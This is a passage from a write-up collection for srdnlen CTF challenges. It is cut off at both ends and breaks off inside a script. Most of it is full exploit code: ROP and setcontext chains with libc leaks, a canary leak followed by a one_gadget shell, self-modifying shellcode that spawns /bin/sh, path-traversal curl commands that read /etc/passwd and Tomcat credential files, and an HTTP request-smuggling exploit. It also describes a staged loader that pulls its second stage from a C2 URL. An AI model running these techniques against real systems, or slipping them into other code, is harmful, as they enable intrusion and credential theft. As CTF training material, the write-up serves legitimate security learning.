elf.sym["read_stdin"] GET_NUMBER = elf.sym["get_number"] PUTS_PLT = elf.plt["puts"] PUTS_GOT = elf.got["puts"] # Writable addresses CTX = 0x404048 FP = 0x404300 ROP = 0x404500 STR = 0x404900 BUF = 0x404A80 DUMMY = 0x404FE0 STAGE1 = b"A" * 0x0F + p64(READ_STDIN) + p64(ADD28) FLAG_RE = re.compile(br"srdnlen\{[^\n\r\x00]{1,200}\}") # Candidate gadget sets for nearby glibc patch variants GADGET_CANDIDATES = [ {"pop_rdi": 0x11B93A, "pop_rsi": 0x5C247, "mov_rdx_rax": 0x145F17}, {"pop_rdi": 0x11B8BA, "pop_rsi": 0x5C247, "mov_rdx_rax": 0x145ED7}, ] def build_stage2(m: int) -> bytes: size = 0x98 + m * 0x70 + 0x10 d = bytearray(b"B" * size) # leak puts@got d[0x20:0x28] = p64(POP_RAX) d[0x28:0x30] = p64(PUTS_GOT) d[0x30:0x38] = p64(MOV_RDI_RAX_ADD58_RET) d[0x90:0x98] = p64(PUTS_PLT) cur = 0x98 for _ in range(m): d[cur:cur+8] = p64(GET_NUMBER) d[cur+8:cur+0x10] = p64(MOV_RDI_RAX_ADD58_RET) d[cur+0x68:cur+0x70] = p64(READ_STDIN) cur += 0x70 d[cur:cur+8] = p64(GET_NUMBER) d[cur+8:cur+0x10] = p64(DISPATCH_RDI404048_JMP_RAX) out = bytes(d) assert b"\x0a" not in out return out def build_ops(base: int, gadgets: dict, path: bytes): setctx = base + libc.sym["setcontext"] fopen = base + libc.sym["fopen"] fgets = base + libc.sym["fgets"] puts = base + libc.sym["puts"] pop_rdi = base + gadgets["pop_rdi"] pop_rsi = base + gadgets["pop_rsi"] mov_rdx_rax = base + gadgets["mov_rdx_rax"] mode_addr = STR + len(path) + 1 ops = [ # setcontext argument struct (CTX + 0x68, p64(STR)), (CTX + 0x70, p64(mode_addr)), (CTX + 0x88, p64(0)), (CTX + 0x98, p64(0)), (CTX + 0xA0, p64(ROP)), (CTX + 0xA8, p64(fopen)), (CTX + 0xE0, p64(FP)), (CTX + 0x1C0, p64(0x1F80)), # post-fopen chain (ROP + 0x00, p64(mov_rdx_rax)), (ROP + 0x08, p64(pop_rdi)), (ROP + 0x10, p64(BUF)), (ROP + 0x18, p64(pop_rsi)), (ROP + 0x20, p64(0x80)), (ROP + 0x28, p64(fgets)), (ROP + 0x30, p64(pop_rdi)), (ROP + 0x38, p64(BUF)), (ROP + 0x40, p64(puts)), (ROP + 0x48, p64(RET_MAIN)), ] s = path + b"\x00r\x00" s = s.ljust((len(s) + 7) // 8 * 8, b"\x00") for i in range(0, len(s), 8): ops.append((STR + i, s[i:i+8])) return ops, setctx def run_once(stage2: bytes, m: int, gadgets: dict, path: bytes): io = None try: io = remote(HOST, PORT, timeout=8) io.recvuntil(b"> ", timeout=7) io.sendline(b"aaaaaa") for v in (b"0", b"1", b"X", b"3", b"255"): io.recvuntil(b"> ", timeout=7) io.sendline(v) io.recvuntil(b"> ", timeout=7) io.send(STAGE1) io.recvuntil(b"Goodbye, aaaaaa!\n", timeout=7) io.sendline(stage2) leak = io.recvuntil(b"\n", drop=True, timeout=7) if not leak or len(leak) > 8: return "noleak", b"" leak_puts = u64(leak.ljust(8, b"\x00")) base = leak_puts - libc.sym["puts"] if base & 0xFFF: return "badbase", b"" ops, setctx = build_ops(base, gadgets, path) if len(ops) > m: return "ops_big", b"" while len(ops) < m: ops.append((DUMMY, b"Q" * 8)) for _, blob in ops: if b"\x0a" in blob: return "blob_newline", b"" for addr, data in ops: io.sendline(str(addr).encode()) io.sendline(data) io.sendline(str(setctx).encode()) time.sleep(0.9) out = io.recvrepeat(2.5) return "ok", out except EOFError: return "EOF", b"" except Exception as e: return type(e).__name__, b"" finally: try: if io: io.close() except Exception: pass def main(): m = 30 stage2 = build_stage2(m) paths = [b"/challenge/flag.txt", b"/flag.txt", b"/flag"] for gidx, g in enumerate(GADGET_CANDIDATES): print(f"[+] trying gadget set {gidx}: {g}") for path in paths: print(f"[+] path {path!r}") for i in range(1, 31): st, out = run_once(stage2, m, g, path) s = out.replace(b"\x00", b"") if out else b"" print(f" [{i:02d}] {st} len={len(out)} sample={s[:80]!r}") mflag = FLAG_RE.search(s) if mflag: print(f"\nFLAG: {mflag.group().decode()}") return time.sleep(0.2) print("[-] flag not found") if __name__ == "__main__": main() ``` Recovered flag: `srdnlen{DL-r35m4LLv3}` ### Echo #### Description The program implements an echo loop with a custom `read_stdin` routine.\ Bug: `read_stdin` uses an 8-bit index and loop condition `idx <= len`, so for `len = 0x40` it writes 65 bytes into a 64-byte buffer (1-byte overflow).\ That single-byte overflow hits the adjacent `len` variable on the stack, letting us increase future read sizes and eventually control data up to canary/saved frame/return addresses. #### Solution Key stack layout inside `echo`: * buffer: `[rbp-0x50 ... rbp-0x11]` (64 bytes) * len byte: `[rbp-0x10]` * canary: `[rbp-0x8 ... rbp-0x1]` * saved rbp: `[rbp+0x0 ... rbp+0x7]` * return address: `[rbp+0x8 ... rbp+0xf]` Exploit plan: 1. Overflow `len` from `0x40` to `0x48`. 2. With `len=0x48`, overwrite canary first byte with nonzero and leak: * canary bytes 1..7 * saved `rbp` (stack leak) 3. Set `len=0x77`, then print past many stack values to leak main’s libc return address from stack. 4. Compute `libc_base` from leaked return address (`ret_off = 0x2a1ca`), then choose one\_gadget `0xef52b`. 5. Final payload restores correct canary, sets a fake `rbp` into controlled stack memory, and overwrites RIP with one\_gadget. 6. one\_gadget constraints are satisfied by placing NULL qwords at `[rbp-0x78]` and `[rbp-0x60]`. 7. Spawn shell and read `/challenge/flag.txt`. Exploit code: ```python #!/usr/bin/env python3 from pwn import * import re HOST = "echo.challs.srdnlen.it" PORT = 1091 # Derived from local glibc 2.39; remote matched these offsets. LIBC_RET_FROM_MAIN_OFF = 0x2A1CA ONE_GADGET_OFF = 0xEF52B FLAG_RE = re.compile(rb"srdnlen\{[^}\n]+\}") def recv_prompt(io): io.recvuntil(b"echo ") def send_and_get_echo(io, payload): io.send(payload) data = io.recvuntil(b"echo ", timeout=3) if not data.endswith(b"echo "): raise RuntimeError("missing next prompt") line = data[:-5] if not line.endswith(b"\n"): raise RuntimeError("missing echoed newline") return line[:-1] def exploit_once(): io = remote(HOST, PORT) recv_prompt(io) # Stage 1: one-byte overflow into len, set len=0x48. send_and_get_echo(io, b"A" * 64 + b"\x48") # Stage 2: leak canary (bytes 1..7) and saved rbp, set len=0x77. stage2 = b"B" * 64 + b"\x77" + b"C" * 7 + b"D" out2 = send_and_get_echo(io, stage2) leak2 = out2[len(stage2) :] if len(leak2) < 13: raise RuntimeError(f"short stage2 leak ({len(leak2)})") canary = b"\x00" + leak2[:7] saved_rbp = u64(leak2[7:13].ljust(8, b"\x00")) buf_addr = saved_rbp - 0x70 # Stage 3: keep printing past canary/stack values to leak main's libc return address. stage3 = bytearray([0x45] * 0x78) stage3[64] = 0x77 stage3[72] = 0x01 stage3[73:80] = canary[1:] out3 = send_and_get_echo(io, bytes(stage3)) leak3 = out3[len(stage3) :] if len(leak3) < 6: raise RuntimeError(f"short stage3 leak ({len(leak3)})") main_libc_ret = u64(leak3[:6].ljust(8, b"\x00")) libc_base = main_libc_ret - LIBC_RET_FROM_MAIN_OFF one_gadget = libc_base + ONE_GADGET_OFF # Stage 4: restore real canary, pivot rbp into controlled stack, return to one_gadget. fake_rbp = buf_addr + 0x78 stage4 = bytearray(b"\x00" * 0x78) stage4[64] = 0x77 stage4[72:80] = canary stage4[80:88] = p64(fake_rbp) stage4[88:96] = p64(one_gadget) # one_gadget(0xef52b) constraints: # [rbp-0x78] == NULL and [rbp-0x60] == NULL are satisfied by these zeros. stage4[0:8] = b"\x00" * 8 stage4[0x18:0x20] = b"\x00" * 8 io.send(bytes(stage4)) return io def get_flag(io): io.sendline(b"cat /challenge/flag.txt") data = io.recv(timeout=2) + io.recvrepeat(0.5) m = FLAG_RE.search(data) if not m: raise RuntimeError(f"flag not found in output: {data!r}") return m.group(0).decode() def main(): context.log_level = "error" for attempt in range(1, 16): io = None try: io = exploit_once() flag = get_flag(io) print(flag) io.close() return except Exception as exc: if io is not None: try: io.close() except Exception: pass print(f"[attempt {attempt}] {exc}") raise SystemExit("exploit failed too many times") if __name__ == "__main__": main() ``` ### Registered Stack #### Description We get a PIE ELF that: * reads a hex string, * converts it to bytes (`hex_to_bytes`), * validates with Capstone that every instruction is only `push`/`pop` with register operands, * mmaps one RWX page, * zeros registers, sets `rsp = page_base`, and jumps to `rsp`. Remote service: `registered-stack.challs.srdnlen.it:1090`. #### Solution Key points: 1. Validation is only on initial bytes; runtime self-modification is allowed. 2. `push fs` (`0f a0`) is validator-accepted; patching byte `a0 -> 05` yields `syscall` (`0f 05`). 3. `fgets(buf, 0x200, ...)` only accepts at most 511 chars, so max reliable hex payload is 510 chars = 255 bytes. Sending 256 bytes (512 hex chars) truncates and breaks stage input alignment. 4. `pop sp` with seeded bytes sets `rsp` low16 to `0xc38f`, so exploit is bucketed (works when mmap low16 bucket is `c***`, \~1/16). 5. For `read`, `rsi` must be full pointer (`rsp`), but `rdx` must be small. Using `rdx=rsp` fails on high ASLR addresses (huge count/range issues). Use `rdx=rbx=0xc305` instead. 6. Stage-1 does `read(0, stage2_buf, 0xc305)`, then returns to stage2 buffer. 7. Stage-2 is shellcode for marker + `/bin/sh`, then send shell commands to read the flag. Recovered flag: `srdnlen{Pu5h1n6_4nd_P0pp1n6_6av3_m3_4_h34d4ch3}` ```python #!/usr/bin/env python3 from pwn import * import argparse import re import time context.arch = 'amd64' context.log_level = 'error' BINARY = './attachments/registered_stack' HOST = 'registered-stack.challs.srdnlen.it' PORT = 1090 # Stage-1 for mmap low16 bucket c*** (roughly 1/16 attempts), validator-safe. # NOTE: fgets reads at most 511 chars, so we must send <= 510 hex chars => <= 255 bytes. def build_stage1(): n = 66 code = [] code += [0x59] * 30 # pop rcx x30 -> rsp += 0xf0 code += [0x66, 0x5c] # pop sp -> 0xc38f (from [0xf0]) code += [0x50] * 17 # push rax x17 code += [0x66, 0x50] # push ax -> 0xc305 code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = 0xc305) code += [0x50] * n # push rax x66 code += [0x66, 0x59] # pop cx (+2) code += [0x53] # push rbx (patches 0x05, leaves 0xc3 after syscall) L = len(code) S = ((0x2ff - 8 * n) & 0xfff) - 6 # stub offset m = S - L code += [0x59] * m # Stub at S: # - rsi = rsp (read buffer pointer) # - rdx = rbx (small count 0xc305; avoids huge-count failure on high ASLR addresses) # - push rsp for trailing ret target # - patched push fs -> syscall code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0] while len(code) < 0x100: code.append(0x59) # Seed for early pop sp: word 0xc38f at offset 0xf0 code[0xf0] = 0x8f code[0xf1] = 0xc3 # Keep only 255 bytes so hex input is 510 chars (fits fgets 0x200 limit). return bytes(code)[:-1] def build_stage2(): # Marker + interactive shell. return asm(shellcraft.echo('__S2__\\n') + shellcraft.amd64.linux.sh()) def connect_remote(host, port): return remote(host, port) def connect_local(): return process(BINARY) def attempt(io, stage1_hex: bytes, stage2: bytes, delay: float): io.recvuntil(b'Write your code > ', timeout=2) io.sendline(stage1_hex) # Avoid stdio prefetch interactions with fgets(): send raw stage-2 slightly later. time.sleep(delay) # If first stage works, it will issue read(0, buf, 0xc305) and consume this. io.send(stage2) data = io.recv(timeout=1.0) or b'' data += io.recv(timeout=1.0) or b'' if b'__S2__' not in data: return data # Stage-2 marker observed: now issue shell commands. io.sendline(b'echo __READY__') io.sendline(b'cat /flag 2>/dev/null; cat /flag.txt 2>/dev/null; cat flag 2>/dev/null; cat ./flag 2>/dev/null; cat /home/ctf/flag 2>/dev/null; cat /challenge/flag.txt 2>/dev/null') data += io.recv(timeout=1.2) or b'' data += io.recv(timeout=1.2) or b'' return data def main(): ap = argparse.ArgumentParser() ap.add_argument('--local', action='store_true') ap.add_argument('--attempts', type=int, default=300) ap.add_argument('--host', default=HOST) ap.add_argument('--port', type=int, default=PORT) ap.add_argument('--delay', type=float, default=0.0) args = ap.parse_args() use_remote = not args.local max_attempts = args.attempts stage1 = build_stage1() stage1_hex = stage1.hex().encode() stage2 = build_stage2() flag_re = re.compile(rb'srdnlen\{[^\n\r\}]*\}') for i in range(1, max_attempts + 1): io = None try: io = connect_remote(args.host, args.port) if use_remote else connect_local() out = attempt(io, stage1_hex, stage2, args.delay) m = flag_re.search(out) if m: flag = m.group(0).decode(errors='ignore') print(f'[+] attempt {i}: {flag}') return if b'__READY__' in out: print(f'[+] attempt {i}: shell obtained but flag not found in quick paths') print(out.decode(errors='ignore')) return snippet = out[:180] print(f'[-] attempt {i}: no shell ({snippet!r})') except EOFError: print(f'[-] attempt {i}: EOF') except Exception as e: print(f'[-] attempt {i}: {e}') finally: try: if io is not None: io.close() except Exception: pass print('[-] exhausted attempts') if __name__ == '__main__': main() ``` *** ## rev ### Artistic warmup #### Description We are given a Windows PE executable (`rev_artistic_warmup.exe`) and need to recover the flag. #### Solution Static reversing around the `"Invalid flag."`/`"Valid flag!"` references shows the core check at `0x1400bfb00`: * It dynamically resolves GDI APIs. * It creates a `450x50` 32-bit DIB (`CreateDIBSection`), draws user input with `CreateFontA("Consolas", 24)` + `TextOutA`. * It compares all `0x15f90 = 90000` raw bytes of the rendered bitmap against a blob at `.rdata+0x20` (`0x1400c5020`) with XOR `0xAA`: * check is `((rendered[i] ^ 0xAA) == blob[i])`. * so expected rendered bytes are `blob[i] ^ 0xAA`. That means the binary already contains the exact target rendered text image. Extract/decode it and OCR. Code used: ```python # solve.py import numpy as np from PIL import Image import subprocess exe = "attachments/rev_artistic_warmup.exe" data = open(exe, "rb").read() # From reverse: # blob starts at file offset 0xC3620, length 0x15F90 off = 0xC3620 n = 0x15F90 blob = np.frombuffer(data[off:off+n], dtype=np.uint8) expected = blob ^ 0xAA # Expected rendered DIB is 450x50x4 (BGRA) img = expected.reshape(50, 450, 4) # Any of B/G/R channel works (only 0/255 values) channel = img[:, :, 0] Image.fromarray(channel, "L").save("target_B.png") # OCR cmd = [ "tesseract", "target_B.png", "stdout", "--oem", "1", "--psm", "7", "-c", "tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_" ] out = subprocess.check_output(cmd, text=True).strip() print("OCR:", out) ``` OCR result is very close; using glyph consistency + CTF prefix gives the final exact flag: `srdnlen{pl5_Charles_w1n_th3_champ1on5hip}` ### Cornflake v3.5 #### Description Given `malware.exe` and the hint: `The evolution of a Cereal Offender` The binary is a staged malware-like loader: * Stage1 checks the local username with an RC4-based check. * If it passes, it downloads `stage2.exe` (DLL) from the challenge host. * Stage2 reads `password.txt` and validates it with a custom VM. Flag accepted by platform: `srdnlen{r3v_c4N_l0ok_l1K3_mAlw4r3}` #### Solution 1. Reverse stage1 username gate: * RC4 key in binary: `s3cr3t_k3y_v1` * Compared hex: `46f5289437bc009c17817e997ae82bfbd065545d` * RC4-decrypting that value gives: `super_powerful_admin` 2. Download stage2 from C2 endpoint: * `http://cornflake.challs.srdnlen.it:8000/updates/check.php?SessionID=46f5289437bc009c17817e997ae82bfbd065545d` 3. Reverse `stage2.exe`: * `MainThread` reads `password.txt`, strips CR/LF, calls VM checker, prints `ez` or `nope`. * VM bytecode is embedded and interpreted with opcodes 0..18. * Extract VM equality constraints over a 34-char `srdnlen{...}` string. 4. Verify candidate against extracted VM constraints and submit. Code used: ```python #!/usr/bin/env python3 # stage1_rc4_decode.py def rc4(key: bytes, data: bytes) -> bytes: s = list(range(256)) j = 0 for i in range(256): j = (j + s[i] + key[i % len(key)]) & 0xFF s[i], s[j] = s[j], s[i] i = 0 j = 0 out = bytearray() for b in data: i = (i + 1) & 0xFF j = (j + s[i]) & 0xFF s[i], s[j] = s[j], s[i] out.append(b ^ s[(s[i] + s[j]) & 0xFF]) return bytes(out) if __name__ == "__main__": key = b"s3cr3t_k3y_v1" enc = bytes.fromhex("46f5289437bc009c17817e997ae82bfbd065545d") print(rc4(key, enc).decode()) # super_powerful_admin ``` ```python #!/usr/bin/env python3 # vm_check.py def vm_constraints_hold(flag: str) -> bool: x = [ord(c) for c in flag] if len(x) != 34: return False if not (flag.startswith("srdnlen{") and flag.endswith("}")): return False for i in range(8, 33): c = x[i] if not ( (ord("a") <= c <= ord("z")) or (ord("A") <= c <= ord("Z")) or (ord("0") <= c <= ord("9")) or c == ord("_") ): return False checks = [ x[0] == 115, ((x[2] - 2) ^ (x[1] + 3)) == 23, x[3] == 110, (x[4] + x[5]) == 209, ((x[21] - 2) ^ (x[33] + 3)) == 234, x[3] == x[6], 2 * x[8] == 228, (x[18] ^ (x[12] - x[23])) == 119, ((x[15] ^ (x[20] // 4)) + x[10]) == 190, (x[29] ^ (x[11] - x[17])) == 88, ((x[16] ^ 30) + x[28]) == 222, (x[13] + x[14]) == 130, (x[9] % 5) == 1, 0 <= (x[22] - 48) < 34, x[x[22] - 48] == 114, (x[22] + x[24]) == 100, (x[25] + 2 * x[26] - 3 * x[27]) == 118, (x[30] + x[31] + x[32]) == 217, ] return all(checks) if __name__ == "__main__": flag = "srdnlen{r3v_c4N_l0ok_l1K3_mAlw4r3}" print(vm_constraints_hold(flag)) # True ``` ### Dante's Trial #### Description > And at last, Dante faced the Ferocious Beast. Will they be able to tr(ea)it it? Note: the submitted flag should be enclosed in srdnlen{}. We are given a Game Boy Advance ROM (`dantestrial.gba`). #### ROM Structure The GBA ROM contains a custom bytecode VM that validates user input through a hash function. The game presents a text-based interface where an NPC called "G." prompts the player for input (printable ASCII, 0x20-0x7e). The input is hashed and compared against a target value; if it matches, the game displays "Thou art correcteth." #### VM Architecture The ROM loads runtime code from `0x08024100` into IWRAM (`0x03000000`) and executes a bytecode VM. The VM script at `0x08022654` (169 bytes) is XOR-decoded with `(13*i + 0x5a) & 0xff`, and opcodes are permuted through a table at `0x0802270c`. The effective execution path is a simple loop: 1. `op8`: Pop next byte from input queue 2. `op11`: If zero, jump to halt 3. `op10`: Hash update step 4. `op12`: Jump back to step 1 5. `op13`: Halt #### Hash Function The hash is a modified FNV-1a with several additions: **State:** `hlo` (32-bit), `hhi` (32-bit), `ptr` (8-bit), seeded on first character with `hlo=0x84222325`, `hhi=0xcbf29ce4`. **Per character `c`:** ``` x = ((hhi << 32) | (hlo ^ c)) * P // P = 0x100000001b3 (FNV prime) x = (x ^ ptr) * P m = tri_mix(c, 0) // 3x3 matrix [1,0,0,1,0,2,2,2,1] over 6 base-3 digits x ^= m << ((ptr & 7) * 8) x *= CUP // CUP = 0x9e3779b185ebca87 (golden ratio) hhi = x >> 32 hlo = (x & 0xffffffff) ^ (hhi >> 1) ptr += 1 + (m & 1) ``` **Final comparison:** ``` v = ((hhi << 32) | (hlo ^ ptr)) * P z = fmix64(v) // MurmurHash3 finalization require z == 0x73f3ebcbd9b4cd93 ``` #### Critical Discovery: VM Memory is Zeros The `tri_mix` function takes two arguments: the input character `c` and a byte `d` from VM memory at position `ptr`. Disassembly of the ROM's VM initialization code at `0x08000784` shows it calls `memset(EWRAM, 0, 256)` with NO subsequent copy of user input into this memory region. The VM script contains no `op3` (store) instructions, so memory stays all zeros throughout execution. This means `d=0` always, making `tri_mix(c, 0)` depend only on the input character. This was verified by running the full VM dispatch loop in Unicorn Engine and comparing against a corrected Python model. #### Meet-in-the-Middle Attack The hash function's forward and backward steps are invertible (using modular inverses of P and CUP mod 2^64), enabling a meet-in-the-middle attack: 1. **Forward pass:** Enumerate all prefixes of length `p`, starting from the seed state, storing `(hhi, hlo, ptr)` in a hash table. 2. **Backward pass:** Compute the required final state from the target hash by inverting `fmix64` and the final multiply. Then enumerate all suffixes of length `s`, stepping backward from the required final state, and look up matches in the hash table. #### Search Process The answer turned out to be 6 characters long, containing mixed case and digits. The key insight was that prior exhaustive searches only covered `[a-z0-9_]` for short lengths. Running MITM with the full printable ASCII charset (95 characters) for length 6 (split 3+3) immediately found the answer: ``` FOUND n=6: W1H31l ``` **Hash verification:** ``` Input: W1H31l Hash: 0x73f3ebcbd9b4cd93 Target: 0x73f3ebcbd9b4cd93 Match: True ``` #### Flag ``` srdnlen{W1H31l} ``` ### Rev Juice #### Description We are given Verilog for a vending machine. Product 8 (`rev_juice`) is not directly selectable (`SP1..SP7` only), but `selector.v` has a hidden condition that sets `ENABLE <= 8'h80`, which enables product 8 (price 0). The flag format is a move string: * `IC` = insert `n` coins one-by-one * `SPm` = select product `m` (`1..7`) * `CNL` = cancel * Buying consumes coins. * Cancel refunds remaining inserted coins. * The challenge is based on using exactly 19 coins with reuse allowed. #### Solution 1. Reverse `selector.v` hidden condition. The conjunction over `COINS_HISTORY[...]` forces the key taps (at trigger cycle `t`): * `H[0]=1` * `H[7]=4` * `H[28]=H[33]=H[38]=6` * `H[63]=H[73]=2` * `H[80]=9` * and modular sum: `(H[19]+H[21]+H[56]+H[69]) mod 32 = 0` 2. Build timing model from stable-cycle behavior. The solve uses these effective stable-to-stable durations: * Insert 1 coin: 3 cycles * Successful selection: 7 cycles * Failed selection: 5 cycles * `CNL` with coins inserted: 4 cycles * `CNL` at 0: 2 cycles 3. Search for a sequence that places those history values at the required offsets and triggers product 8. The working sequence is: `srdnlen{I9C_SP6_CNL_I2C_SP2_I6C_SP6_SP6_SP5_CNL_I4C_SP1}` 4. Why this sequence aligns: * Creates the required high past value `9` (the `H[80]` tap). * Creates the two `2` taps (`H[73]`, `H[63]`). * Holds `6` long enough for `H[38]`, `H[33]`, `H[28]`. * Uses `CNL` timing to place required zero-sum taps. * Ends at `4 -> 1` (`SP1`) so `H[7]=4` and `H[0]=1` line up when hidden condition is checked. 5. Verification helper script (timing + full selector equations): ```python seq = ["I9C", "SP6", "CNL", "I2C", "SP2", "I6C", "SP6", "SP6", "SP5", "CNL", "I4C", "SP1"] prices = {1: 3, 2: 2, 3: 4, 4: 5, 5: 6, 6: 7, 7: 3} # Expand macro moves to single actions. moves = [] for tok in seq: if tok.startswith("I") and tok.endswith("C"): moves += ["COIN"] * int(tok[1:-1]) else: moves.append(tok) def dur_and_update(coins, mv): if mv == "COIN": return coins + 1, 3 if mv == "CNL": return (0, 4) if coins > 0 else (0, 2) p = prices[int(mv[2:])] if coins >= p: return coins - p, 7 return coins, 5 coins = 0 timeline = [] for mv in moves: coins, d = dur_and_update(coins, mv) timeline.extend([coins] * d) # Extra idle cycles after last move. timeline.extend([coins] * 30) def u5(x): return x & 0x1F def selector_cond(t): h = lambda k: timeline[t - k] return ( u5(h(0) + h(7)) == 5 and h(63) * h(73) == 4 and u5(h(28) + h(33) + h(38)) == 18 and u5(h(80) - h(7)) == 5 and u5(h(19) + h(21) + h(56) + h(69)) == 0 and h(28) * h(0) + h(63) == 8 and h(80) == u5(h(28) + h(63) + h(0)) and u5(h(33) - h(7)) == h(73) and h(38) == h(28) and u5(h(80) + h(0)) == u5(h(7) + h(28)) and u5(h(63) + h(73) + h(7)) == u5(h(28) + h(73)) and u5(h(80) - h(63) - h(73) - h(7)) == h(0) ) hits = [t for t in range(80, len(timeline)) if selector_cond(t)] print("selector condition true at cycles:", hits[:10]) ``` This confirms cycles where the hidden selector condition is satisfied, which is the event that enables product 8. *** ## web ### Double Shop #### Description The site is a vending-machine frontend with two backend JSP endpoints: * `/api/checkout.jsp` (creates receipt logs) * `/api/receipt.jsp?id=...` (renders receipt file contents) `/api/manager` returns `403`, hinting at a hidden “Manager” target. #### Solution 1. Inspect frontend JS and identify backend endpoints: ```bash curl -sS http://doubleshop.challs.srdnlen.it/assets/vendor.js ``` 2. Confirm `receipt.jsp` path traversal: ```bash curl -sS 'http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../../../../etc/passwd' ``` 3. Read Tomcat config via traversal: ```bash curl -sS 'http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../../../../usr/local/tomcat/conf/server.xml' curl -sS 'http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../../../../usr/local/tomcat/conf/tomcat-users.xml' ``` Important findings: * `server.xml` contains: * `RemoteIpValve` * `internalProxies=".*"` * `remoteIpHeader="X-Access-Manager"` * `tomcat-users.xml` contains: * `username="adm1n"` * `password="317014774e3e85626bd2fa9c5046142c"` This means we can spoof client IP for Tomcat with: ```http X-Access-Manager: 127.0.0.1 ``` 4. Bypass Apache block on `/api/manager` using path-parameter trick (`;`) and reach Tomcat Manager: ```bash curl -i -sS 'http://doubleshop.challs.srdnlen.it/api/manager;/' curl -i -sS -H 'X-Access-Manager: 127.0.0.1' 'http://doubleshop.challs.srdnlen.it/api/manager;/html' ``` 5. Authenticate to Tomcat Manager with leaked creds: ```bash curl -i -sS \ -H 'X-Access-Manager: 127.0.0.1' \ -u 'adm1n:317014774e3e85626bd2fa9c5046142c' \ 'http://doubleshop.challs.srdnlen.it/api/manager;/html' ``` 6. Read application list in Manager response. One deployed context path is: ``` /srdnlen{d0uble_m1sC0nf_aR3_n0t_fUn} ``` Flag: ``` srdnlen{d0uble_m1sC0nf_aR3_n0t_fUn} ``` ### MSN Revive #### Description Web challenge with frontend + gateway + backend source. The backend seeds the flag into initial chat history, and an export endpoint can render any session's messages. Gateway tries to protect that endpoint as local-only. #### Solution The key bug chain: 1. `src/backend/utils.py` seeds the flag in chat session `00000000-0000-0000-0000-000000000000`. 2. `src/backend/api.py` has `POST /api/export/chat` with no auth/membership check (only `session_id` exists). 3. `src/gateway/gateway.js` blocks `/api/export/chat` for non-local clients. 4. `src/gateway/gateway.js` rewrites `Content-Length` for `/api/chat/event` when content-type is `application/x-msnmsgrp2p`, deriving length from attacker-controlled MSN P2P `TotalSize` field. 5. Gateway still forwards the full body buffer to backend, so backend sees fewer bytes than actually sent. Extra bytes become a smuggled second HTTP request on keep-alive connection (CL desync / request smuggling). Exploit strategy: * Send `POST /api/chat/event` with malicious P2P header where `TotalSize=0` so gateway forwards `Content-Length: 48` to backend. * Append a full smuggled request after the first 48 bytes: `POST /api/export/chat` with JSON `{"session_id":"000...000","format":"html"}`. * Trigger follow-up proxied requests (`/api/foo`) to consume poisoned backend response queue. * Parse response bodies for `srdnlen{...}`. Recovered flag: `srdnlen{n0st4lg14_1s_4_vuln3r4b1l1ty_t00}` Full exploit code used: ```python #!/usr/bin/env python3 import argparse import random import re import string import struct import sys import time from typing import Optional import requests FLAG_RE = re.compile(r"srdnlen\{[^}]+\}") TARGET_SID = "00000000-0000-0000-0000-000000000000" def rand_str(n: int) -> str: chars = string.ascii_lowercase + string.digits return "".join(random.choice(chars) for _ in range(n)) def probe_backend(base: str, timeout: float = 30.0) -> bool: try: r = requests.get(f"{base}/api/foo", timeout=timeout) return r.status_code in (400, 401, 403, 404, 405, 500) except requests.RequestException: return False def login_any( base: str, session: requests.Session, timeout: float = 30.0 ) -> bool: username = f"pwn_{rand_str(10)}" password = f"P@ss_{rand_str(12)}" try: session.post( f"{base}/api/auth/register", json={"username": username, "password": password}, timeout=timeout, ) r = session.post( f"{base}/api/auth/login", json={"username": username, "password": password}, timeout=timeout, ) except requests.RequestException: return False return r.status_code == 200 and '"ok":true' in r.text def build_smuggled_http_request() -> bytes: export_body = ( '{"session_id":"' + TARGET_SID + '","format":"html"}' ).encode() req = ( b"POST /api/export/chat HTTP/1.1\r\n" b"Host: backend\r\n" b"Content-Type: application/json\r\n" + f"Content-Length: {len(export_body)}\r\n".encode() + b"Connection: keep-alive\r\n" + b"\r\n" + export_body ) return req def build_attack_body() -> bytes: # 48-byte P2P header with TotalSize=0 => gateway rewrites CL to 48. p2p = struct.pack( " makes gateway set backend CL=48 0, # message_size 0, # flags 0, # ack_session_id 0, # ack_unique_id 0, # ack_data_size ) return p2p + build_smuggled_http_request() def extract_flag(blob: str) -> Optional[str]: m = FLAG_RE.search(blob) if m: return m.group(0) return None def try_smuggle( base: str, session: requests.Session, timeout: float = 30.0, consume_requests: int = 8, consume_path: str = "/api/foo", ) -> Optional[str]: body = build_attack_body() headers = {"Content-Type": "application/x-msnmsgrp2p"} blobs = [] # Poison response queue. try: r0 = session.post( f"{base}/api/chat/event", data=body, headers=headers, timeout=timeout, ) blobs.append(r0.text) except requests.RequestException: # Even if this errors on the client side, backend poisoning may still happen. pass # Consume queued response(s) using proxied endpoints. for _ in range(consume_requests): try: r = session.get(f"{base}{consume_path}", timeout=timeout) blobs.append(r.text) except requests.RequestException: continue for t in blobs: f = extract_flag(t) if f: return f return None def main() -> int: ap = argparse.ArgumentParser(description="MSN Revive exploit") ap.add_argument( "--base", default="http://msnrevive.challs.srdnlen.it", help="Base URL", ) ap.add_argument( "--wait-seconds", type=int, default=0, help="Max seconds to wait for backend availability", ) ap.add_argument( "--probe-timeout", type=int, default=35, help="Probe request timeout (seconds)", ) ap.add_argument( "--probe-interval", type=int, default=12, help="Seconds between availability probes", ) ap.add_argument( "--request-timeout", type=int, default=35, help="Per-request timeout for login/smuggling (seconds)", ) ap.add_argument( "--login-attempts", type=int, default=10, help="Login attempts before falling back to no-auth mode", ) ap.add_argument( "--rounds", type=int, default=0, help="Smuggling rounds (0 means unlimited)", ) ap.add_argument( "--round-delay", type=float, default=2.0, help="Delay between smuggling rounds (seconds)", ) ap.add_argument( "--consume-requests", type=int, default=10, help="Follow-up requests per smuggling round", ) ap.add_argument( "--consume-path", default="/api/foo", help="Proxied path used to consume queued backend responses", ) args = ap.parse_args() base = args.base.rstrip("/") print(f"[*] Target: {base}") print("[*] Waiting for backend to become responsive...") start = time.time() while True: if probe_backend(base, timeout=args.probe_timeout): print("[+] Backend appears responsive") break if args.wait_seconds > 0 and (time.time() - start >= args.wait_seconds): print("[-] Backend still unresponsive (timeout)") return 1 time.sleep(args.probe_interval) s = requests.Session() logged_in = False print("[*] Registering/logging in...") for _ in 